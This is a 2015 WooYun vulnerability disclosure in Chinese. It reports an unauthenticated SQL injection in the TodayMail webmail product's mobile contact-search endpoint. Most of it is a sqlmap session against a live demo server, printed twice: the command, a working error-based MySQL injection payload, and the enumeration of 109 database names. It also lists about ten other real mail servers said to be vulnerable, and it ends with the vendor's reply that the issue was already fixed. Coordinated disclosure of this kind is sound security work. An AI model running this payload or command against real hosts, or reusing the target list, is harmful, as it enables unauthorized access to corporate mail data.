当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0126240

漏洞标题:TodayMail某处无需登陆的SQL盲注

相关厂商:广东时代互联科技有限公司

漏洞作者: #6c6c6c

提交时间:2015-08-03 18:34

修复时间:2015-11-05 18:04

公开时间:2015-11-05 18:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-03: 细节已通知厂商并且等待厂商处理中
2015-08-07: 厂商已经确认,细节仅向厂商公开
2015-08-10: 细节向第三方安全合作伙伴开放
2015-10-01: 细节向核心白帽子及相关领域专家公开
2015-10-11: 细节向普通白帽子公开
2015-10-21: 细节向实习白帽子公开
2015-11-05: 细节向公众公开

简要描述:

直接套用xfkxfk的漏洞名吧。。反正都差不多@xfkxfk。
------------------------------------------------
和一中年妇女聊天,那个妇女说:“你们年轻人哪里有什么烦恼,到床上散散心马上就好了!”

详细说明:

数据库挺多的,不用登录。
WooYun: TodayMail某处无需登陆的SQL注入可轻松导致大量企业邮箱帐号被脱裤 $$
怎么发钱那么快。。。
注入点:/mobile/manager/contactList.php?cmd=Search&keyword=*

C:\Python27\sqlmap>sqlmap.py -u "http://webmail.now.net.cn//mobile/manager/conta
ctList.php?cmd=Search&keyword=" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150707}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 02:00:25
[02:00:25] [WARNING] provided value for parameter 'keyword' is empty. Please, al
ways use only valid parameter values so sqlmap could be able to run properly
[02:00:25] [INFO] resuming back-end DBMS 'mysql'
[02:00:25] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://webmail.now.net.cn:80//mobile/index.php'. D
o you want to follow? [Y/n] y
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: keyword (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: cmd=Search&keyword=') AND (SELECT 1348 FROM(SELECT COUNT(*),CONCAT(
0x717a6b7871,(SELECT (ELT(1348=1348,1))),0x716a787171,FLOOR(RAND(0)*2))x FROM IN
FORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('YsqT'='YsqT
---
[02:00:28] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.34, Apache 2.2.27
back-end DBMS: MySQL 5.0
[02:00:28] [INFO] fetching database names
[02:00:28] [INFO] the SQL query used returns 109 entries
[02:00:29] [INFO] retrieved: information_schema
[02:00:29] [INFO] retrieved: MailFailRecord
[02:00:30] [INFO] retrieved: MailTemp-1
[02:00:31] [INFO] retrieved: MailTemp00
[02:00:31] [INFO] retrieved: MailTemp01
[02:00:31] [INFO] retrieved: MailTemp02
[02:00:31] [INFO] retrieved: MailTemp03
[02:00:32] [INFO] retrieved: MailTemp04
[02:00:32] [INFO] retrieved: MailTemp05
[02:00:32] [INFO] retrieved: MailTemp06
[02:00:33] [INFO] retrieved: MailTemp07
[02:00:33] [INFO] retrieved: MailTemp08
[02:00:34] [INFO] retrieved: MailTemp09
[02:00:34] [INFO] retrieved: MailTemp10
[02:00:34] [INFO] retrieved: MailTemp11
[02:00:35] [INFO] retrieved: MailTemp12
[02:00:35] [INFO] retrieved: MailTemp13
[02:00:36] [INFO] retrieved: MailTemp14
[02:00:36] [INFO] retrieved: MailTemp15
[02:00:37] [INFO] retrieved: MailTemp16
[02:00:37] [INFO] retrieved: MailTemp17
[02:00:37] [INFO] retrieved: MailTemp18
[02:00:38] [INFO] retrieved: MailTemp19
[02:00:38] [INFO] retrieved: MailTemp20
[02:00:39] [INFO] retrieved: MailTemp21
[02:00:39] [INFO] retrieved: MailTemp22
[02:00:40] [INFO] retrieved: MailTemp23
[02:00:40] [INFO] retrieved: MailTemp24
[02:00:41] [INFO] retrieved: MailTemp25
[02:00:44] [INFO] retrieved: MailTemp26
[02:00:45] [INFO] retrieved: MailTemp27
[02:00:45] [INFO] retrieved: MailTemp28
[02:00:46] [INFO] retrieved: MailTemp29
[02:00:46] [INFO] retrieved: MailTemp30
[02:00:47] [INFO] retrieved: MailTemp31
[02:00:48] [INFO] retrieved: MailTemp32
[02:00:49] [INFO] retrieved: MailTemp33
[02:00:49] [INFO] retrieved: MailTemp34
[02:00:50] [INFO] retrieved: MailTemp35
[02:00:51] [INFO] retrieved: MailTemp36
[02:00:52] [INFO] retrieved: MailTemp37
[02:00:52] [INFO] retrieved: MailTemp38
[02:00:53] [INFO] retrieved: MailTemp39
[02:00:54] [INFO] retrieved: MailTemp40
[02:00:54] [INFO] retrieved: MailTemp41
[02:00:54] [INFO] retrieved: MailTemp42
[02:00:56] [INFO] retrieved: MailTemp43
[02:00:56] [INFO] retrieved: MailTemp44
[02:00:57] [INFO] retrieved: MailTemp45
[02:00:57] [INFO] retrieved: MailTemp46
[02:00:57] [INFO] retrieved: MailTemp47
[02:00:58] [INFO] retrieved: MailTemp48
[02:00:59] [INFO] retrieved: MailTemp49
[02:00:59] [INFO] retrieved: MailTemp50
[02:01:00] [INFO] retrieved: MailTemp51
[02:01:00] [INFO] retrieved: MailTemp52
[02:01:01] [INFO] retrieved: MailTemp53
[02:01:01] [INFO] retrieved: MailTemp54
[02:01:02] [INFO] retrieved: MailTemp55
[02:01:02] [INFO] retrieved: MailTemp56
[02:01:03] [INFO] retrieved: MailTemp57
[02:01:03] [INFO] retrieved: MailTemp58
[02:01:04] [INFO] retrieved: MailTemp59
[02:01:04] [INFO] retrieved: MailTemp60
[02:01:05] [INFO] retrieved: MailTemp61
[02:01:05] [INFO] retrieved: MailTemp62
[02:01:06] [INFO] retrieved: MailTemp63
[02:01:06] [INFO] retrieved: MailTemp64
[02:01:07] [INFO] retrieved: MailTemp65
[02:01:07] [INFO] retrieved: MailTemp66
[02:01:07] [INFO] retrieved: MailTemp67
[02:01:08] [INFO] retrieved: MailTemp68
[02:01:08] [INFO] retrieved: MailTemp69
[02:01:09] [INFO] retrieved: MailTemp70
[02:01:09] [INFO] retrieved: MailTemp71
[02:01:10] [INFO] retrieved: MailTemp72
[02:01:10] [INFO] retrieved: MailTemp73
[02:01:12] [INFO] retrieved: MailTemp74
[02:01:21] [INFO] retrieved: MailTemp75
[02:01:21] [INFO] retrieved: MailTemp76
[02:01:22] [INFO] retrieved: MailTemp77
[02:01:22] [INFO] retrieved: MailTemp78
[02:01:22] [INFO] retrieved: MailTemp79
[02:01:23] [INFO] retrieved: MailTemp80
[02:01:23] [INFO] retrieved: MailTemp81
[02:01:23] [INFO] retrieved: MailTemp82
[02:01:24] [INFO] retrieved: MailTemp83
[02:01:24] [INFO] retrieved: MailTemp84
[02:01:25] [INFO] retrieved: MailTemp85
[02:01:25] [INFO] retrieved: MailTemp86
[02:01:26] [INFO] retrieved: MailTemp87
[02:01:26] [INFO] retrieved: MailTemp88
[02:01:27] [INFO] retrieved: MailTemp89
[02:01:27] [INFO] retrieved: MailTemp90
[02:01:27] [INFO] retrieved: MailTemp91
[02:01:28] [INFO] retrieved: MailTemp92
[02:01:28] [INFO] retrieved: MailTemp93
[02:01:29] [INFO] retrieved: MailTemp94
[02:01:29] [INFO] retrieved: MailTemp95
[02:01:29] [INFO] retrieved: MailTemp96
[02:01:30] [INFO] retrieved: MailTemp97
[02:01:30] [INFO] retrieved: MailTemp98
[02:01:31] [INFO] retrieved: MailTemp99
[02:01:31] [INFO] retrieved: NewTodaymail
[02:01:32] [INFO] retrieved: mysql
[02:01:33] [INFO] retrieved: proftpd
[02:01:34] [INFO] retrieved: test
[02:01:34] [INFO] retrieved: todaymail
[02:01:35] [INFO] retrieved: todaymail20101208
available databases [109]:
[*] information_schema
[*] MailFailRecord
[*] MailTemp-1
[*] MailTemp00
[*] MailTemp01
[*] MailTemp02
[*] MailTemp03
[*] MailTemp04
[*] MailTemp05
[*] MailTemp06
[*] MailTemp07
[*] MailTemp08
[*] MailTemp09
[*] MailTemp10
[*] MailTemp11
[*] MailTemp12
[*] MailTemp13
[*] MailTemp14
[*] MailTemp15
[*] MailTemp16
[*] MailTemp17
[*] MailTemp18
[*] MailTemp19
[*] MailTemp20
[*] MailTemp21
[*] MailTemp22
[*] MailTemp23
[*] MailTemp24
[*] MailTemp25
[*] MailTemp26
[*] MailTemp27
[*] MailTemp28
[*] MailTemp29
[*] MailTemp30
[*] MailTemp31
[*] MailTemp32
[*] MailTemp33
[*] MailTemp34
[*] MailTemp35
[*] MailTemp36
[*] MailTemp37
[*] MailTemp38
[*] MailTemp39
[*] MailTemp40
[*] MailTemp41
[*] MailTemp42
[*] MailTemp43
[*] MailTemp44
[*] MailTemp45
[*] MailTemp46
[*] MailTemp47
[*] MailTemp48
[*] MailTemp49
[*] MailTemp50
[*] MailTemp51
[*] MailTemp52
[*] MailTemp53
[*] MailTemp54
[*] MailTemp55
[*] MailTemp56
[*] MailTemp57
[*] MailTemp58
[*] MailTemp59
[*] MailTemp60
[*] MailTemp61
[*] MailTemp62
[*] MailTemp63
[*] MailTemp64
[*] MailTemp65
[*] MailTemp66
[*] MailTemp67
[*] MailTemp68
[*] MailTemp69
[*] MailTemp70
[*] MailTemp71
[*] MailTemp72
[*] MailTemp73
[*] MailTemp74
[*] MailTemp75
[*] MailTemp76
[*] MailTemp77
[*] MailTemp78
[*] MailTemp79
[*] MailTemp80
[*] MailTemp81
[*] MailTemp82
[*] MailTemp83
[*] MailTemp84
[*] MailTemp85
[*] MailTemp86
[*] MailTemp87
[*] MailTemp88
[*] MailTemp89
[*] MailTemp90
[*] MailTemp91
[*] MailTemp92
[*] MailTemp93
[*] MailTemp94
[*] MailTemp95
[*] MailTemp96
[*] MailTemp97
[*] MailTemp98
[*] MailTemp99
[*] mysql
[*] NewTodaymail
[*] proftpd
[*] test
[*] todaymail
[*] todaymail20101208


这个是demo的。
其他案例

cdn605.todayisp.net/
mail.now.cn/
mail.sankyochina-trading.com/
mail.ehbh.cn/
pop.joinway.com/
mail.zslz.com/
mail.zhgxjs.com/
mail.sf-power.com.cn
mail.vision-power.com.cn/
mail.ynepower.com/
。。。。还有很多,就不一一举例了。

漏洞证明:

Parameter: keyword (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: cmd=Search&keyword=') AND (SELECT 1348 FROM(SELECT COUNT(*),CONCAT(
0x717a6b7871,(SELECT (ELT(1348=1348,1))),0x716a787171,FLOOR(RAND(0)*2))x FROM IN
FORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('YsqT'='YsqT
---
[02:00:28] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.34, Apache 2.2.27
back-end DBMS: MySQL 5.0
[02:00:28] [INFO] fetching database names
[02:00:28] [INFO] the SQL query used returns 109 entries
[02:00:29] [INFO] retrieved: information_schema
[02:00:29] [INFO] retrieved: MailFailRecord
[02:00:30] [INFO] retrieved: MailTemp-1
[02:00:31] [INFO] retrieved: MailTemp00
[02:00:31] [INFO] retrieved: MailTemp01
[02:00:31] [INFO] retrieved: MailTemp02
[02:00:31] [INFO] retrieved: MailTemp03
[02:00:32] [INFO] retrieved: MailTemp04
[02:00:32] [INFO] retrieved: MailTemp05
[02:00:32] [INFO] retrieved: MailTemp06
[02:00:33] [INFO] retrieved: MailTemp07
[02:00:33] [INFO] retrieved: MailTemp08
[02:00:34] [INFO] retrieved: MailTemp09
[02:00:34] [INFO] retrieved: MailTemp10
[02:00:34] [INFO] retrieved: MailTemp11
[02:00:35] [INFO] retrieved: MailTemp12
[02:00:35] [INFO] retrieved: MailTemp13
[02:00:36] [INFO] retrieved: MailTemp14
[02:00:36] [INFO] retrieved: MailTemp15
[02:00:37] [INFO] retrieved: MailTemp16
[02:00:37] [INFO] retrieved: MailTemp17
[02:00:37] [INFO] retrieved: MailTemp18
[02:00:38] [INFO] retrieved: MailTemp19
[02:00:38] [INFO] retrieved: MailTemp20
[02:00:39] [INFO] retrieved: MailTemp21
[02:00:39] [INFO] retrieved: MailTemp22
[02:00:40] [INFO] retrieved: MailTemp23
[02:00:40] [INFO] retrieved: MailTemp24
[02:00:41] [INFO] retrieved: MailTemp25
[02:00:44] [INFO] retrieved: MailTemp26
[02:00:45] [INFO] retrieved: MailTemp27
[02:00:45] [INFO] retrieved: MailTemp28
[02:00:46] [INFO] retrieved: MailTemp29
[02:00:46] [INFO] retrieved: MailTemp30
[02:00:47] [INFO] retrieved: MailTemp31
[02:00:48] [INFO] retrieved: MailTemp32
[02:00:49] [INFO] retrieved: MailTemp33
[02:00:49] [INFO] retrieved: MailTemp34
[02:00:50] [INFO] retrieved: MailTemp35
[02:00:51] [INFO] retrieved: MailTemp36
[02:00:52] [INFO] retrieved: MailTemp37
[02:00:52] [INFO] retrieved: MailTemp38
[02:00:53] [INFO] retrieved: MailTemp39
[02:00:54] [INFO] retrieved: MailTemp40
[02:00:54] [INFO] retrieved: MailTemp41
[02:00:54] [INFO] retrieved: MailTemp42
[02:00:56] [INFO] retrieved: MailTemp43
[02:00:56] [INFO] retrieved: MailTemp44
[02:00:57] [INFO] retrieved: MailTemp45
[02:00:57] [INFO] retrieved: MailTemp46
[02:00:57] [INFO] retrieved: MailTemp47
[02:00:58] [INFO] retrieved: MailTemp48
[02:00:59] [INFO] retrieved: MailTemp49
[02:00:59] [INFO] retrieved: MailTemp50
[02:01:00] [INFO] retrieved: MailTemp51
[02:01:00] [INFO] retrieved: MailTemp52
[02:01:01] [INFO] retrieved: MailTemp53
[02:01:01] [INFO] retrieved: MailTemp54
[02:01:02] [INFO] retrieved: MailTemp55
[02:01:02] [INFO] retrieved: MailTemp56
[02:01:03] [INFO] retrieved: MailTemp57
[02:01:03] [INFO] retrieved: MailTemp58
[02:01:04] [INFO] retrieved: MailTemp59
[02:01:04] [INFO] retrieved: MailTemp60
[02:01:05] [INFO] retrieved: MailTemp61
[02:01:05] [INFO] retrieved: MailTemp62
[02:01:06] [INFO] retrieved: MailTemp63
[02:01:06] [INFO] retrieved: MailTemp64
[02:01:07] [INFO] retrieved: MailTemp65
[02:01:07] [INFO] retrieved: MailTemp66
[02:01:07] [INFO] retrieved: MailTemp67
[02:01:08] [INFO] retrieved: MailTemp68
[02:01:08] [INFO] retrieved: MailTemp69
[02:01:09] [INFO] retrieved: MailTemp70
[02:01:09] [INFO] retrieved: MailTemp71
[02:01:10] [INFO] retrieved: MailTemp72
[02:01:10] [INFO] retrieved: MailTemp73
[02:01:12] [INFO] retrieved: MailTemp74
[02:01:21] [INFO] retrieved: MailTemp75
[02:01:21] [INFO] retrieved: MailTemp76
[02:01:22] [INFO] retrieved: MailTemp77
[02:01:22] [INFO] retrieved: MailTemp78
[02:01:22] [INFO] retrieved: MailTemp79
[02:01:23] [INFO] retrieved: MailTemp80
[02:01:23] [INFO] retrieved: MailTemp81
[02:01:23] [INFO] retrieved: MailTemp82
[02:01:24] [INFO] retrieved: MailTemp83
[02:01:24] [INFO] retrieved: MailTemp84
[02:01:25] [INFO] retrieved: MailTemp85
[02:01:25] [INFO] retrieved: MailTemp86
[02:01:26] [INFO] retrieved: MailTemp87
[02:01:26] [INFO] retrieved: MailTemp88
[02:01:27] [INFO] retrieved: MailTemp89
[02:01:27] [INFO] retrieved: MailTemp90
[02:01:27] [INFO] retrieved: MailTemp91
[02:01:28] [INFO] retrieved: MailTemp92
[02:01:28] [INFO] retrieved: MailTemp93
[02:01:29] [INFO] retrieved: MailTemp94
[02:01:29] [INFO] retrieved: MailTemp95
[02:01:29] [INFO] retrieved: MailTemp96
[02:01:30] [INFO] retrieved: MailTemp97
[02:01:30] [INFO] retrieved: MailTemp98
[02:01:31] [INFO] retrieved: MailTemp99
[02:01:31] [INFO] retrieved: NewTodaymail
[02:01:32] [INFO] retrieved: mysql
[02:01:33] [INFO] retrieved: proftpd
[02:01:34] [INFO] retrieved: test
[02:01:34] [INFO] retrieved: todaymail
[02:01:35] [INFO] retrieved: todaymail20101208
available databases [109]:
[*] information_schema
[*] MailFailRecord
[*] MailTemp-1
[*] MailTemp00
[*] MailTemp01
[*] MailTemp02
[*] MailTemp03
[*] MailTemp04
[*] MailTemp05
[*] MailTemp06
[*] MailTemp07
[*] MailTemp08
[*] MailTemp09
[*] MailTemp10
[*] MailTemp11
[*] MailTemp12
[*] MailTemp13
[*] MailTemp14
[*] MailTemp15
[*] MailTemp16
[*] MailTemp17
[*] MailTemp18
[*] MailTemp19
[*] MailTemp20
[*] MailTemp21
[*] MailTemp22
[*] MailTemp23
[*] MailTemp24
[*] MailTemp25
[*] MailTemp26
[*] MailTemp27
[*] MailTemp28
[*] MailTemp29
[*] MailTemp30
[*] MailTemp31
[*] MailTemp32
[*] MailTemp33
[*] MailTemp34
[*] MailTemp35
[*] MailTemp36
[*] MailTemp37
[*] MailTemp38
[*] MailTemp39
[*] MailTemp40
[*] MailTemp41
[*] MailTemp42
[*] MailTemp43
[*] MailTemp44
[*] MailTemp45
[*] MailTemp46
[*] MailTemp47
[*] MailTemp48
[*] MailTemp49
[*] MailTemp50
[*] MailTemp51
[*] MailTemp52
[*] MailTemp53
[*] MailTemp54
[*] MailTemp55
[*] MailTemp56
[*] MailTemp57
[*] MailTemp58
[*] MailTemp59
[*] MailTemp60
[*] MailTemp61
[*] MailTemp62
[*] MailTemp63
[*] MailTemp64
[*] MailTemp65
[*] MailTemp66
[*] MailTemp67
[*] MailTemp68
[*] MailTemp69
[*] MailTemp70
[*] MailTemp71
[*] MailTemp72
[*] MailTemp73
[*] MailTemp74
[*] MailTemp75
[*] MailTemp76
[*] MailTemp77
[*] MailTemp78
[*] MailTemp79
[*] MailTemp80
[*] MailTemp81
[*] MailTemp82
[*] MailTemp83
[*] MailTemp84
[*] MailTemp85
[*] MailTemp86
[*] MailTemp87
[*] MailTemp88
[*] MailTemp89
[*] MailTemp90
[*] MailTemp91
[*] MailTemp92
[*] MailTemp93
[*] MailTemp94
[*] MailTemp95
[*] MailTemp96
[*] MailTemp97
[*] MailTemp98
[*] MailTemp99
[*] mysql
[*] NewTodaymail
[*] proftpd
[*] test
[*] todaymail
[*] todaymail20101208

修复方案:

过滤

版权声明:转载请注明来源 #6c6c6c@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-08-07 18:02

厂商回复:

谢谢

最新状态:

2015-08-07:漏洞是我们之前已经修复的,谢谢